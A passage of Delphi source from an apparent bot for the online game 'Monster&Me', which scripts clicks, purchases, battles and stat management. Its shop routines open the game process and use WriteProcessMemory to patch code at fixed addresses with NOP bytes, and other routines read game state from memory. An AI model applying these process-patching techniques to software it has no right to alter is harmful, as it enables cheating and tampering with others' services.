PathNodeIndex: integer;
Dijksatra_Nodes: TList;
function FindPath: Boolean;
end;
// 锻造
TForge = class
Public
StoveCount: integer;
constructor Create;
destructor Destroy; override;
procedure Clean;
procedure Init;
procedure WriteStoveInstruction;
procedure PatchUniverseStove;
procedure UnPatchUniverseStove;
function GetCurrStove: StoveInfo;
function FillStove: Boolean;
function HasCurrStoveFinished: Boolean;
function IsFinish: Boolean;
procedure GotoNextStove;
procedure InitStoveStuffsToBeChozen;
Private
StoveStuffsToBeChozenCount: integer;
StoveStuffsToBeChozen: array [0..14] of TStoveStuffToBeChozen;
StoveIndex: integer;
StoveList: TList;
end;
// 用户
TUser = class
Public
ID: WORD;
Rank: WORD;
Level: WORD;
Xiu_Level: DWORD;
Xianmo: WORD; // 仙魔
CurrLife: WORD;
MaxLife: WORD;
CurrNeili: WORD;
MaxNeili: WORD;
Tili: WORD; // 体力
Neigong: WORD; // 内功
Gongji: WORD; // 攻击
Fangyu: WORD; // 防御
Qinggong: WORD; // 轻功
RemainingPoints: WORD;
OldRemaining: integer;
Money: DWORD; // 钱
PetCount: integer;
BattlePetPos: integer;
Pets: array [0..4] of TPet;
WGCount: integer;
WGCountLimit: integer;
WGs: array[0..9] of TWG;
OldItemCount: integer; // 使用物品前一次的ItemCount
ItemCount: integer;
OldItemID: DWORD;
Items: array [0..14] of TItem;
procedure GetAttr;
function FindPetCount(Name: String; Loyal: WORD): integer;
procedure GetWGs;
procedure GetPets;
procedure GetItems;
function GetMarchingPet(): TPet;
function FindPetPos(Name: String; Loyal: integer): integer; // 从 1 开始,0说明没有找到
function FindItemCount(Name: String; Maker: String): integer;
function FindItemPos(Name: String; Maker: String): integer; // 从 1 开始,0说明没有找到
function FindItemPosByID(ID: DWORD): integer; // 从 1 开始,0说明没有找到
function FindNeiyaoPos: integer; // 从 1 开始,0说明没有找到
function UseItem(ID: DWORD):Boolean;
function DropItem(ID: DWORD):Boolean;
function FindItemID(Name: String; Maker: String): DWORD;
function FindItemByType(ItemType: DWORD): DWORD;
procedure PatchItemWindow;
procedure UnPatchItemWindow;
procedure AddStats(statType: String; points: integer);
Private
end;
// 创招
TCreateWG = Class
Public
WorkStep: Integer;
HumanOldNeili: integer; // 用来判断吃否吃过药,不能用满内判断,因为有时候吃药内也不满
HumanOldLevel: integer; // 用了判断是否已经降级
CreateStep: integer; // 创招步骤
IsWorking: Boolean;
IsDoingFate: Boolean; // 是否正在过劫
LevelLimit: integer; // 到多少级就停止创招
OldWGCount: integer;
DeleteWGRemainIndicator: Real;
DeleteFrom: integer;
function FindWindows(var hwndMC, hwndXS, hwndNL,
hwndQS, hwndGJ, hwndBZ, hwndButtonCZ: HWND): HWND;
function DoCreateWG: Boolean;
function DoDeleteWGs: Boolean;
procedure PatchCreateWG;
procedure UnPatchCreateWG;
end;
var
ThisBattle: TBattle = nil; // 战斗
ThisBuyStuff: TBuyStuff = nil; // 原料
ThisCreateWG: TCreateWG = nil; // 创招
ThisForge: TForge = nil; // 锻造
ThisMove: TMove = nil; // 移动
ThisWork: TWork;
ThisUser: TUser;
implementation
Uses UnitGlobal;
{
constructor TStep.Create(tmpAct: Integer = ActUnknown;
tmpX: String = ''; tmpY: String = ''; tmpZ: String = '');
begin
Inherited Create;
Action := tmpAct;
X := tmpX;
Y := tmpY;
Z := tmpZ;
SubStepIndex := 0;
end; }
//==============================================================================
function TTransaction.AddPurpose: PurposeInfo;
var
tmpPurpose: PurposeInfo;
begin
new(tmpPurpose);
tmpPurpose.Allows := TStringList.Create;
tmpPurpose.Allows.Clear;
tmpPurpose.isSatisfied := False;
Purposes.Add(tmpPurpose);
Result := tmpPurpose;
end;
procedure TTransaction.AddStep(tmpAction: Integer; tmpX, tmpY, tmpZ: String);
var
tmpStep: TStepInfo;
begin
tmpStep := TStepInfo.Create(tmpAction, tmpX, tmpY, tmpZ);
StepList.Add(tmpStep);
StepCount := StepList.Count;
end;
procedure TTransaction.InsertStep(tmpAction: Integer; tmpX, tmpY, tmpZ: String; pos: Integer);
var
tmpStep: TStepInfo;
begin
tmpStep := TStepInfo.Create(tmpAction, tmpX, tmpY, tmpZ);
StepList.Insert(pos, tmpStep);
StepCount := StepList.Count;
end;
procedure TTransaction.ClearOldTime;
begin
FOldTime := 0;
end;
constructor TTransaction.Create(tmpID: Integer = -1; tmpCaption: String = '');
// 构造过程
begin
Inherited Create;
FID := tmpID; // 步骤编号
FCaption := tmpCaption; // 步骤说明
StepCount := -1; // 表示还没有开始读详细数据
Purposes := TList.Create; // 目的
StepList := TList.Create; // 步骤
Purposes.Clear;
StepList.Clear;
Init; // 初始化
end;
destructor TTransaction.Destroy;
// 销毁过程
var
i: Integer;
tmpPurpose: PurposeInfo;
tmpStep: TStepInfo;
begin
// 销毁步骤
for i:= 0 to StepList.Count - 1 do
begin
tmpStep := StepList.Items[i];
tmpStep.Free;
end;
StepList.Clear;
StepList.Free;
// 销毁目的
for i := 0 to Purposes.Count - 1 do
begin
tmpPurpose := Purposes.Items[i];
tmpPurpose.Allows.Clear;
tmpPurpose.Allows.Free;
end;
Purposes.Clear;
Purposes.Free;
inherited;
end;
function TTransaction.GetCurrStep: TStepInfo;
// 返回当前步骤
begin
if StepIndex >= StepCount then StepIndex := StepCount - 1;
Result := StepList[StepIndex];
end;
procedure TTransaction.GotoNextStep;
// 指向下一个步骤
begin
StepIndex := StepIndex + 1;
end;
function TTransaction.HasPassedInterval(MilliSecond: LongWord): Boolean;
// 与上次记录时间,是否超过指定毫秒数
begin
Result := Windows.GetTickCount - FOldTime >= MilliSecond;
end;
procedure TTransaction.Init;
// 初始化
var
i: integer;
tmpStep: TStepInfo;
begin
IsWorking := False;
StepIndex := 0;
State := 0;
OldNPCDialog := '';
FOldTime := 0;
for i := 0 to StepCount - 1 do
begin
tmpStep := StepList[i];
tmpStep.SubStepIndex := 0;
end;
end;
function TTransaction.IsFinish: Boolean;
// 检查是否完成
begin
Result := (StepIndex >= StepCount);
end;
function TTransaction.IsPurposeSatisfied: Boolean;
// 测试目的是否满足
var
i, j, tmpint: integer;
tmpString, tmpCase, tmpX, tmpY, tmpZ: String;
tmpPurpose: PurposeInfo;
tmpDWORD1, tmpDWORD2: DWORD;
marchingPet: TPet;
begin
Result := False;
// 没有 Purpose,就返回 False(没有目的,必须执行)
if Purposes.Count = 0 then Exit;
// 找到每个Purpose的IsSatisfied
marchingPet := ThisUser.GetMarchingPet();
for i := 0 to Purposes.Count - 1 do
begin
tmpPurpose := Purposes[i];
tmpPurpose.isSatisfied := False; // 初始化目的
for j := 0 to tmpPurpose.Allows.Count - 1 do // 各个Allows之间是OR的关系
begin
tmpCase := '';
tmpX := '';
tmpY := '';
tmpZ := '';
tmpString := tmpPurpose.Allows[j];
tmpint := Pos(',', tmpString);
if tmpint = 0 then
tmpCase := tmpString
else
begin
tmpCase := copy(tmpString, 1, tmpint - 1);
tmpString := copy(tmpString, tmpint + 1, Length(tmpString) - tmpint);
tmpint := Pos(',', tmpString);
if tmpint = 0 then tmpX := tmpString
else
begin
tmpX := Copy(tmpString, 1, tmpint - 1);
tmpString := Copy(tmpString, tmpint + 1, Length(tmpString) - tmpint);
tmpint := Pos(',', tmpString);
if tmpint = 0 then
tmpY := tmpString
else
begin
tmpY := Copy(tmpString, 1, tmpint - 1);
tmpZ := Copy(tmpString, tmpint + 1, Length(tmpString) - tmpint);
end;
end;
end;
if tmpX = '[username]' then tmpX := HLInfoList.GlobalHL.UserName;
if tmpY = '[username]' then tmpY := HLInfoList.GlobalHL.UserName;
if tmpZ = '[username]' then tmpZ := HLInfoList.GlobalHL.UserName;
if tmpCase = 'Item' then
begin
tmpint := ThisUser.FindItemCount(tmpX, tmpY);
if tmpint >= strtointdef(tmpZ, 0) then
begin
tmpPurpose.isSatisfied := True;
break;
end;
end
else if tmpCase = 'Pet' then
begin
if tmpX = 'Marching' then
begin
if tmpY = 'Level' then
begin
if marchingPet.Level >= StrToInt(tmpZ) then
begin
tmpPurpose.isSatisfied := True;
Break;
end;
end;
if(tmpY = 'Attack') or (tmpY = 'Atk') then
begin
if marchingPet.Attack >= StrToInt(tmpZ) then
begin
tmpPurpose.isSatisfied := True;
Break;
end;
end;
if (tmpY = 'Defence') or (tmpY = 'Defense') or (tmpY = 'Def') then
begin
if marchingPet.Defence >= StrToInt(tmpZ) then
begin
tmpPurpose.isSatisfied := True;
Break;
end;
end;
if (tmpY = 'Dexterity') or (tmpY = 'Dex') then
begin
if marchingPet.Dexterity >= StrToInt(tmpZ) then
begin
tmpPurpose.isSatisfied := True;
Break;
end;
end;
end
else
tmpint := ThisUser.FindPetCount(tmpX, StrToIntDef(tmpY, 1000));
if tmpint >= strtointdef(tmpZ, 0) then
begin
tmpPurpose.isSatisfied := True;
Break;
end;
begin
end;
end
else if tmpCase = 'State' then
begin
tmpint:=GetUserEnvState;
if ((tmpX='Normal') and (tmpint=UserEnvNormal))
or ((tmpX='Dialogue') and (tmpint=UserEnvDialog))
or ((tmpX='Battle') and (tmpint=UserEnvBattle))
then
begin
tmpPurpose.isSatisfied:=True;
break;
end;
end
else if tmpCase = 'Map' then
begin
if LongWord(StrToIntDef(tmpX, 0)) = ReadCurrMapID then
begin
GetCurrPosXY(tmpDWORD1, tmpDWORD2);
if ((tmpY = '') and (tmpZ = ''))
or ((LongWord(StrToIntDef(tmpY, 0)) = tmpDWORD1)
and (LongWord(StrToIntDef(tmpZ, 0)) = tmpDWORD2))
then
begin
tmpPurpose.isSatisfied:=True;
break;
end;
end;
end
else if tmpCase='Player' then
begin
if tmpX='Rank' then
begin
tmpint:=-1;
//Player, rank, mortal, basic god, etc
if tmpY='Mortal' then tmpint:=0
else if tmpY='Basic God' then tmpint:=1
else if (tmpY='Junior God') or (tmpY='Junior Devil') then tmpint:=2
else if (tmpY='Senior God') or (tmpY='Senior Devil') then tmpint:=3
else if (tmpY='Super God') or (tmpY='Super Devil') then tmpint:=4
else if (tmpY='Master God') or (tmpY='Master Devil') then tmpint:=5
else if (tmpY<>'') then continue; // 如果还不是空,就是写错了,不管
if tmpint>=2 then
begin
if (tmpY='Junior') or (tmpY='Senior') or (tmpY='Super') or (tmpY='Master')
then tmpDWORD1:=UserAttrXian
else tmpDWORD1:=UserAttrMo;
end
else
tmpDWORD1:=0;
ThisUser.GetAttr;
if (((ThisUser.Rank=tmpint) and (ThisUser.Xianmo=tmpDWORD1))
or (tmpint=-1)) // tmpint=-1时,不对Rank进行判断
then
begin
// Check Level: tmpDWORD1 stands for LevelFrom; tmpDWORD2 stands for LevelTo
tmpint:=pos('-', tmpZ);
if tmpint=0 then
begin
tmpDWORD1:=StrToIntDef(tmpZ, 0);
tmpDWORD2:=StrToIntDef(tmpZ, 0);
end
else
begin
tmpDWORD1:=StrToIntDef(copy(tmpZ, 1, tmpint-1), 0);
tmpDWORD2:=StrToIntDef(copy(tmpZ, tmpint+1, length(tmpZ)-tmpint), 0);
end;
if (ThisUser.Level>=tmpDWORD1) and (ThisUser.Level<=tmpDWORD2) then
begin
tmpPurpose.isSatisfied:=True;
break;
end;
end;
end
else if tmpX='Kungfu' then
begin
ThisUser.GetWGs;
if tmpY='MaxCount' then
begin
if ThisUser.WGCount >= ThisUser.WGCountLimit then
begin
tmpPurpose.isSatisfied:=True;
break;
end;
end
else if ThisUser.WGCount>=StrToIntDef(tmpY, 100) then
begin
tmpPurpose.isSatisfied:=True;
break;
end;
end
else if tmpX='Life' then
begin
ThisUser.GetAttr;
tmpDWORD1:=StrToIntDef(tmpY, 101);
tmpDWORD2:=StrToIntDef(tmpZ, 0);
tmpint:=(ThisUser.CurrLife * 100) div ThisUser.MaxLife;
if (tmpint >= tmpDWORD1) and (tmpint <= tmpDWORD2) then
begin
tmpPurpose.isSatisfied:=True;
break;
end;
end
end
end;
end;
Result:=True;
for i:=0 to Purposes.Count-1 do // 各个Purpose之间是AND的关系
begin
tmpPurpose:=Purposes[i];
Result:=Result and tmpPurpose.isSatisfied;
end;
end;
procedure TTransaction.PurseSteps(tmpStringList: TStringList);
var
i, tmpPos{, tmpint}: integer;
tmpStep: TStepInfo;
tmpString, tmpActionStr: String;
begin
for i := 0 to StepList.Count - 1 do
begin
tmpStep := StepList.Items[i];
tmpStep.Free;
end;
StepList.Clear;
StepCount := StrToIntDef(tmpStringList.Values['StepCount'], 0);
for i:=0 to StepCount-1 do
begin
tmpStep:=TStepInfo.Create;
tmpString:=tmpStringList.Values[format('Step%d', [i])];
tmppos:=Pos(',', tmpString);
if tmppos=0 then tmpActionStr:=tmpString
else tmpActionStr:=copy(tmpString, 1, tmppos-1);
if tmpActionStr='LeftClick' then tmpStep.Action:=ActLeftClick
else if tmpActionStr='RightClick' then tmpStep.Action:=ActRightClick
else if tmpActionStr='MoveToPos' then tmpStep.Action:=ActMoveToPos
else if tmpActionStr='GoToPos' then tmpStep.Action:=ActMoveToPos
else if tmpActionStr='GoToMap' then tmpStep.Action:=ActGoToMap
else if tmpActionStr='GotoMap' then tmpStep.Action:=ActGoToMap
else if tmpActionStr='BattleAct' then tmpStep.Action:=ActInBattle
else if tmpActionStr='Terminate' then tmpStep.Action:=ActTerminate
else if tmpActionStr='BuyItem' then tmpStep.Action:=ActBuyStuff
else if tmpActionStr='Wux' then tmpStep.Action:=ActDoForge
else if tmpActionStr='CloseShop' then tmpStep.Action:=ActQuitShop
else if tmpActionStr='PressButton' then tmpStep.Action:=ActPressButton
else if tmpActionStr='CallNPC' then tmpStep.Action:=ActCallNPC
else if tmpActionStr='HaveItem' then tmpStep.Action:=ActHaveStuff
else if tmpActionStr='ItemNum' then tmpStep.Action:=ActStuffNum
else if tmpActionStr='HavePet' then tmpStep.Action:=ActHavePet
else if tmpActionStr='PetNum' then tmpStep.Action:=ActPetNum
else if tmpActionStr='CancelDialog' then tmpStep.Action:=ActCancelNPCDialog
else if tmpActionStr='LeftClickWin' then tmpStep.Action:=ActWinLeftClick
else if tmpActionStr='DblLeftClickWin' then tmpStep.Action:=ActWinLeftDblClick
else if tmpActionStr='JumpToTransaction' then tmpStep.Action:=ActJumpToTransN
else if tmpActionStr='Delay' then tmpStep.Action:=ActDelay
else if tmpActionStr='BattleActive' then tmpStep.Action:=ActActiveBattle
else if tmpActionStr='StartBattle' then tmpStep.Action:=ActActiveBattle
else if tmpActionStr='CaptureTarget' then tmpStep.Action:=ActSetCapture
else if tmpActionStr='SetHeal' then tmpStep.Action:=ActSetHeal
else if tmpActionStr='LocateWindow' then tmpStep.Action:=ActLocateWindow
else if tmpActionStr='RightClickWin' then tmpStep.Action:=ActWinRightClick
else if tmpActionStr='WaitWindow' then tmpStep.Action:=ActWaitWindow
else if tmpActionStr='OpenInv' then tmpStep.Action:=ActOpenItemWindow
else if tmpActionStr='UseItem' then tmpStep.Action:=ActUseItem
else if tmpActionStr='DropItem' then tmpStep.Action:=ActDropItem
else if tmpActionStr='CloseInv' then tmpStep.Action:=ActCloseItemWindow
else if tmpActionStr='SetKungfuAttr' then tmpStep.Action:=ActSetWGAttr
else if tmpActionStr='SetKungfuEffect' then tmpStep.Action:=ActSetWGDisp
else if tmpActionStr='CreateKungfu' then tmpStep.Action:=ActCreateWG
else if tmpActionStr='DeleteKungfu' then tmpStep.Action:=ActDeleteWGs
else if tmpActionStr='AddStats' then tmpStep.Action:=ActSetAttr
else
begin
tmpStep.Action:=ActUnknown;
tmpStep.X:=tmpString; // For future prompts
StepList.Add(tmpStep);
continue;
end;
if tmppos<>0 then // Can also resolve x
begin
tmpString:=copy(tmpString, tmppos+1, length(tmpString)-tmppos);
tmppos:=Pos(',', tmpString);
if tmppos=0 then
begin
tmpStep.X:=tmpString;
end
else // 还能解析出Y
begin
tmpStep.X:=copy(tmpString, 1, tmppos-1);
tmpString:=copy(tmpString, tmppos+1, length(tmpString)-tmppos);
tmppos:=Pos(',', tmpString);
if tmppos=0 then
begin
tmpStep.Y:=tmpString;
end
else // 还能解析出Z
begin
tmpStep.Y:=copy(tmpString, 1, tmppos-1);
tmpStep.Z:=copy(tmpString, tmppos+1, length(tmpString)-tmppos);
end;
end;
end;
if tmpStep.X='[username]' then tmpStep.X := HLInfoList.GlobalHL.UserName;
if tmpStep.Y='[username]' then tmpStep.Y := HLInfoList.GlobalHL.UserName;
if tmpStep.Z='[username]' then tmpStep.Z := HLInfoList.GlobalHL.UserName;
StepList.Add(tmpStep);
end;
end;
procedure TTransaction.SetOldTime;
begin
FOldTime := Windows.GetTickCount;
end;
procedure TTransaction.TryReadDetails(const vIniFileName: WideString);
var
ScriptIni: TIniFile;
i, j, tmpint, tmpint2: integer;
tmpString: String;
tmpStringList: TStringList;
tmpPurpose: PurposeInfo;
begin
if StepCount <> -1 then Exit; // 已经Read过了
StepList.Clear;
Purposes.Clear;
ScriptIni := TIniFile.Create(vIniFileName);
tmpStringList := TStringList.Create;
tmpStringList.Clear;
ScriptIni.ReadSectionValues(format('Transaction%d', [FID]), tmpStringList);
tmpint := StrToIntDef(tmpStringList.Values['PurposeCount'], 0);
for i := 0 to tmpint - 1 do
begin
new(tmpPurpose);
tmpPurpose.Allows := TStringList.Create;
tmpint2:=StrToIntDef(tmpStringList.Values[format('Purpose%d_AllowCount', [i])], 0);
for j := 0 to tmpint2 - 1 do
begin
tmpString := tmpStringList.Values[format('Purpose%d_Allow%d', [i, j])];
tmpPurpose.Allows.Add(tmpString);
end;
tmpPurpose.isSatisfied := False;
Purposes.Add(tmpPurpose);
end;
PurseSteps(tmpStringList);
tmpStringList.Clear;
tmpStringList.Free;
ScriptIni.Free;
end;
//==============================================================================
function TWork.AddTransaction(const Caption: String = ''): TTransaction;
// 增加一个空的事务
begin
Result := TTransaction.Create(-1, Caption); // 返回事物指针
self.Add(Result); // 加入列表
end;
procedure TWork.DeleteTransaction(Index: integer);
begin
self.Delete(Index);
end;
procedure TWork.Clean;
// 清除工作脚本
begin
self.Clear;
FTransactionIndex := 0;
FRepeatCount := 1;
IsFirstTime := True;
end;
constructor TWork.Create;
// 构造过程,初始化
begin
inherited;
FTransactionIndex := 0;
FRepeatCount := 1;
RepeatCounter := 0;
end;
destructor TWork.Destroy;
// 销毁自身
begin
Clean;
inherited;
end;
function TWork.GetSize: Integer;
begin
Result := self.Count;
end;
function TWork.GetCurrTransaction: TTransaction;
// 返回当前事务
begin
// 防止事务编号超界
if self.IsFinish then
FTransactionIndex := self.Count - 1;
// 返回当前事务
Result := self.Items[FTransactionIndex];
end;
function TWork.GetItem(Index: Integer): TTransaction;
begin
Result := TTransaction(inherited Items[Index]);
end;
procedure TWork.SetItem(Index: Integer; const Value: TTransaction);
begin
inherited Items[Index] := Value;
end;
function TWork.GetNextTransToDo: Boolean;
// 指向下一个需要执行的事务
var
tmpTransaction: TTransaction;
begin
Result := False;
if self.IsFinish then Exit;
tmpTransaction := self.Items[FTransactionIndex];
tmpTransaction.TryReadDetails(self.FIniFileName);
while tmpTransaction.IsPurposeSatisfied do // 如果发现当前Purpose已经满足了
begin
tmpTransaction.Init;
tmpTransaction.State := 1;
self.GotoNextTrans;
if self.IsFinish then Exit;
tmpTransaction := self.Items[FTransactionIndex];
tmpTransaction.TryReadDetails(self.FIniFileName);
end;
Result := True;
end;
function TWork.GetTransactionByIndex(Index: integer): TTransaction;
// 返回指定编号事务
begin
Result := self.Items[Index];
end;
procedure TWork.GotoNextTrans;
// 进入下一个事务
begin
Inc(FTransactionIndex);
end;
procedure TWork.GotoTrans(ToIndex: Integer; IsClearState: Boolean = False);
// 指向 ToIndex 指定编号的事务,并根据 IsClearState 设置状态标志
var
i: Integer;
begin
CanWork := True;
if ToIndex < 0 then ToIndex := 0;
If self.IsFinish then
FTransactionIndex := self.Count - 1;
for i := ToIndex to FTransactionIndex do
if IsClearState then
self.Items[i].State := 0;
FTransactionIndex := ToIndex;
IsFirstTime := True;
end;
function TWork.IsFinish: Boolean;
// 检测工作是否完成
begin
// 如果事务编号超出,表示工作完成
Result := (FTransactionIndex >= self.Count);
end;
function TWork.ReadIni: Boolean;
var
ScriptIni: TIniFile;
i, iTransactionCount: integer;
tmpTransaction: TTransaction;
tmpString: String;
tmpStringList: TStringList;
begin
Clean; // 清除脚本信息
Result := False;
ScriptIni := TIniFile.Create('.\' + FIniFileName); // 打开脚本文件
try
tmpStringList := TStringList.Create; // 创建字符串列表
try
ScriptIni.ReadSectionValues('Main', tmpStringList);
iTransactionCount := StrToIntDef(tmpStringList.Values['TransactionCount'], 0); // 获得步骤数
if iTransactionCount = 0 then Exit; // 步骤数为0,退出
tmpString := tmpStringList.Values['RepeatCount']; // 获得循环数
if tmpString = 'Infinite' then
FRepeatCount := -1
else
FRepeatCount := StrToIntDef(tmpString, 1);
for i := 0 to iTransactionCount - 1 do // 装载脚本
begin
tmpTransaction := TTransaction.Create(i,
ScriptIni.ReadString(Format('Transaction%d', [i]), 'Caption', ''));
if tmpTransaction = nil then
begin
self.Clean;
Exit;
end;
self.Add(tmpTransaction);
end;
finally
tmpStringList.Free; // 释放字符串列表
end;
finally
ScriptIni.Free; // 释放脚本文件句柄
end;
Result := True;
end;
//==============================================================================
function TBuyStuff.InitShop: Boolean;
// 初始化商店
var
tmpwinShop: TWindowInfo;
tmphwnd: HWND;
begin
Result := False;
tmpwinShop := HLInfoList.GlobalHL.ItemOfWindowTitle('Monster&Me - Store');
if tmpwinShop = nil then Exit;
hwndShop := tmpwinShop.Window;
if IsWindowEnabled(hwndShop) then EnableWindow(hwndShop, False);
if IsWindowVisible(hwndShop) then ShowWindow(hwndShop, SW_HIDE);
tmphwnd := HLInfoList.GlobalHL.LocateChildWindowWNDByTitle(hwndShop, 'Item List', True);
if tmphwnd = 0 then Exit;
hwndItemList := HLInfoList.GlobalHL.LocateChildWindowWNDByTitle(tmphwnd, '', True);
if hwndItemList = 0 then Exit;
hwndBuy := HLInfoList.GlobalHL.LocateChildWindowWNDByTitle(hwndShop, 'Buy(&B)', True);
if hwndBuy = 0 then Exit;
Result := True;
end;
function TBuyStuff.IsSatisfied: Boolean;
var
tmpCount: integer;
begin
Result:=False;
tmpCount:=ThisUser.FindItemCount(StuffName, StuffMaker);
if (ThisUser.ItemCount>=15) or (tmpCount>=StuffCount) then Result:=True;
end;
procedure TBuyStuff.WriteStuffInfo(Name, Maker: String; Count: integer);
begin
StuffName:=Name;
StuffMaker:=Maker;
StuffCount:=Count;
end;
procedure TBuyStuff.GetAllStuffCount;
begin
ThisUser.GetItems;
OldAllStuffCount:=ThisUser.ItemCount;
end;
procedure TBuyStuff.PatchShop;
var
ProcessHandle: THandle;
lpNumberOfBytes: SIZE_T;
BufferDWord: DWORD;
BufferByte: Byte;
tmpWin: TWindowInfo;
begin
BufferDWord := $000001b8;
BufferByte := $00;
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, HLInfoList.GlobalHL.ProcessId);
if ProcessHandle <> 0 then
begin
// WriteProcessMemory(ProcessHandle, Pointer($42d99f), @BufferDWord, 4, lpNumberOfBytes);
// WriteProcessMemory(ProcessHandle, Pointer($42d9a3), @BufferByte, 1, lpNumberOfBytes);
WriteProcessMemory(ProcessHandle, Pointer($42CCDE), @BufferDWord, 4, lpNumberOfBytes);
WriteProcessMemory(ProcessHandle, Pointer($42CCE2), @BufferByte, 1, lpNumberOfBytes);
BufferDWord := $90909090;
BufferByte := $90;
// WriteProcessMemory(ProcessHandle, Pointer($42d8aa), @BufferDWord, 4, lpNumberOfBytes);
// WriteProcessMemory(ProcessHandle, Pointer($42d8ae), @BufferByte, 1, lpNumberOfBytes);
WriteProcessMemory(ProcessHandle, Pointer($42CBEA), @BufferDWord, 4, lpNumberOfBytes);
WriteProcessMemory(ProcessHandle, Pointer($42CBEE), @BufferByte, 1, lpNumberOfBytes);
end;
CloseHandle(ProcessHandle);
tmpWin := HLInfoList.GlobalHL.ItemOfWindowTitle('Monster&Me - Store');
if tmpWin <> nil
then
if IsWindow(tmpWin.Window) and IsWindowVisible(tmpWin.Window)
then
ShowWindow(tmpWin.Window, SW_HIDE);
end;
procedure TBuyStuff.UnPatchShop;
var
ProcessHandle: THandle;
lpNumberOfBytes: SIZE_T;
BufferDWord: DWORD;
BufferByte: Byte;
tmpWin: TWindowInfo;
begin
//BufferDWord := $fe0ebce8;
BufferDWord := $fdfa05e8;
BufferByte := $ff;
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, HLInfoList.GlobalHL.ProcessId);
if ProcessHandle <> 0 then
begin
// WriteProcessMemory(ProcessHandle, Pointer($42d99f), @BufferDWord, 4, lpNumberOfBytes);
// WriteProcessMemory(ProcessHandle, Pointer($42d9a3), @BufferByte, 1, lpNumberOfBytes);
WriteProcessMemory(ProcessHandle, Pointer($42CCDE), @BufferDWord, 4, lpNumberOfBytes);
WriteProcessMemory(ProcessHandle, Pointer($42CCE2), @BufferByte, 1, lpNumberOfBytes);
//BufferDWord := $fe0c09e8;
BufferDWord := $fdf751e8;
BufferByte := $ff;
// WriteProcessMemory(ProcessHandle, Pointer($42d8aa), @BufferDWord, 4, lpNumberOfBytes);
// WriteProcessMemory(ProcessHandle, Pointer($42d8ae), @BufferByte, 1, lpNumberOfBytes);
WriteProcessMemory(ProcessHandle, Pointer($42CBEA), @BufferDWord, 4, lpNumberOfBytes);
WriteProcessMemory(ProcessHandle, Pointer($42CBEE), @BufferByte, 1, lpNumberOfBytes);
end;
CloseHandle(ProcessHandle);
tmpWin := HLInfoList.GlobalHL.ItemOfWindowTitle('Monster&Me - Store');
if tmpWin <> nil then
if IsWindow(tmpWin.Window) and (not IsWindowVisible(tmpWin.Window)) then
Sendmessage(tmpWin.Window, WM_CLOSE, 0, 0);
end;
function TBuyStuff.DoBuyStuff: Boolean;
var
tmpIndex: integer;
tmpRect: TRECT;
begin
Result := False;
tmpIndex:=SendMessage(hwndItemList, LB_FINDSTRING, -1, LPARAM(PChar(StuffName)));
if tmpindex=LB_ERR then Exit;
if SendMessage(hwndItemList, LB_SETCURSEL, tmpindex, 0)=LB_ERR then Exit;
if SendMessage(hwndItemList, LB_GETITEMRECT, tmpindex, LPARAM(@tmpRect))=LB_ERR then Exit;
LeftClickOnSomeWindow_Send(hwndItemList, tmpRect.Left, tmpRect.Top);
sleep(200);
if tmpindex=SendMessage(hwndItemList, LB_GETCURSEL, 0, 0) then
begin
LeftClickOnSomeWindow_Post(hwndBuy, 0, 0);
Result := True;
end;
end;
function TBuyStuff.HasBoughtStuff: Boolean;
begin
Result := False;
ThisUser.GetItems;
if ThisUser.ItemCount>OldAllStuffCount then Result:=True
end;
constructor TBattle.Create;
begin
Inherited Create;
OrderHumanAction:=BattleIdle;
OrderPetAction:=BattleIdle;
EscapeWhenNoMonsterToCapture:=True;
MonsterNameToCapture:='';
CaptureLevelFrom:=0;
CaptureLevelTo:=5000;
HasBegin:=False;
DeadMonsterCount:=0;
CurrHumanAction:=BattleIdle;
CurrPetAction:=BattleIdle;
CreatureCount:=0;
OldCreatureCount:=0;
LiveMonsterCount:=0;
TotalExp:=0;
BattleBufferOrder:=0;
BattleBufferHumanAct:=BattleIdle;
BattleBufferHumanActObj:=0;
BattleBufferRemain1:=0;
BattleBufferPetAct:=BattleIdle;
BattleBufferPetActObj:=0;
BattleBufferRemain2:=0;
Creatures:=TList.Create;
Creatures.Clear;
end;
destructor TBattle.Destroy;
var
i: integer;
tmpCreature: CreatureInfo;
begin
for i:=0 to Creatures.Count-1 do
begin
tmpCreature := Creatures.Items[i];
dispose(tmpCreature);
end;
Creatures.Clear;
Creatures.Free;
Inherited Destroy;
end;
procedure TBattle.GetCreatures;
var
i, j:integer;
pCurrCreature: DWORD;
// CreatureBuffer: array [0.. CreatureInfoSize-1] of Byte;
tmp: DWORD;
tmpCreature: CreatureInfo;
CharArrayTemp: array [0..15] of Char;
begin
LiveMonsterCount:=0;
for i:=0 to Creatures.Count - 1 do
begin
tmpCreature := Creatures.Items[i];
Dispose(tmpCreature);
end;
Creatures.Clear;
ReadFromHLMEM(Pointer(BattleCreatureCountAddress), @tmp, 4);
CreatureCount:=tmp;
for i := 0 to CreatureCount - 1 do
begin
new(tmpCreature);
pCurrCreature:=GetHLMemListNumberByNo(i, BattleFirstCreatureAddressAddress, $674CCC);
ReadFromHLMEM(Pointer(pCurrCreature), @tmpCreature.Data, CreatureInfoSize);
tmpCreature.ID:=tmpCreature.Data[$5f]*65536*256
+tmpCreature.Data[$5e]*65536
+tmpCreature.Data[$5d]*256
+tmpCreature.Data[$5c];
for j:=0 to 15 do CharArrayTemp[j]:=Char(tmpCreature.Data[j+$60]);
tmpCreature.Name:=CharArrayTemp;
tmpCreature.Level := tmpCreature.Data[$0d] * 256
+ tmpCreature.Data[$0c];
tmpCreature.State := tmpCreature.Data[$20];
if tmpCreature.State=$65 then tmpCreature.IsDead:=True else tmpCreature.IsDead:=False;
Creatures.Add(tmpCreature);
if (tmpCreature.ID>=$C0000000) and (not tmpCreature.IsDead)
then // 说明是未死的敌怪
LiveMonsterCount:=LiveMonsterCount+1;
end;
end;
function TBattle.GetMyPetBattleID(myPet: TPet): DWORD;
var
i: integer;
tmpCreature: CreatureInfo;
myPetId: DWORD;
begin
myPetId := 0;
for i := 0 to CreatureCount - 1 do
begin
tmpCreature:=Creatures.Items[i];
if tmpCreature.ID<$C0000000 then
begin
if (myPet.Name = tmpCreature.Name) and (myPet.Level = tmpCreature.Level) then
begin
myPetId := tmpCreature.ID;
break;
end;
end;
end;
Result := myPetId;
end;
function TBattle.GetCreatureById(creatureId: DWORD): CreatureInfo;
var
i: integer;
tmpCreature, creature: CreatureInfo;
begin
creature := nil;
for i := 0 to CreatureCount - 1 do
begin
tmpCreature:=Creatures.Items[i];
if tmpCreature.ID<$C0000000 then
begin
if creatureId = tmpCreature.id then
begin
creature := tmpCreature;
break;
end;
end;
end;
